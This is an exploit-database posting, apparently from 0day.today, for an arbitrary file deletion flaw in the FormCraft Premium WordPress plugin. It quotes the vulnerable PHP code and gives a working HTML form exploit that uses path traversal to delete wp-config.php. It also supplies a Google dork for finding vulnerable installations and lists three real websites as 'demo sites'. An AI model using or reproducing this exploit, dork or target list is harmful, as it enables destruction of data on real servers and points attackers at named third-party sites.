Wordpress Plugin FormCraft Premium Arbitrary File Deletion

Exploit Title : Wordpress Plugin FormCraft Premium Arbitrary File Deletion Vulnerability

Exploit Author : NULL_Pointer

Date : 17/09/2014

Download Link : http://linkzquickz.com/new/formcraft_v2.0.5.zip

Version: 2.0.5

Google Dork : inurl:"/wp-content/plugins/formcraft/"

Tested on : Windows 7

--------------------------------------------------------------

WordPress FormCraft Plugin suffers from Arbitrary File Deletion Vulnerability.

Vulnerable Code (function.php) on file 'function.php': 

#    if (isset($_POST['name']))
#    {
#        $file_name = get_home_path().'wp-content/plugins/formcraft/file-upload/server/php/files/'.$_POST['name'];
#        if (is_file($file_name))
#        {
#            unlink($file_name);
#            echo "Deleted";
#        }
#        else
#        {
#            echo "Not";
#        }
#    }

you can delete any file from the server.

Exploit (example of deleting the configuration file 'wp-config.php'):

<!--

By NULL_Pointer

-->
<form action="http://127.0.0.1/wp-admin/admin-ajax.php?action=formcraft_delete_file" method="POST">
<input name="name" value="../../../../../../../wp-config.php">
<input type="submit" value="Delete It">
</form>

Demo Sites :

http://originallive.com.br/
http://artistsnation.org/
http://www.cpro.fr/

#  0day.today [2018-01-04]  #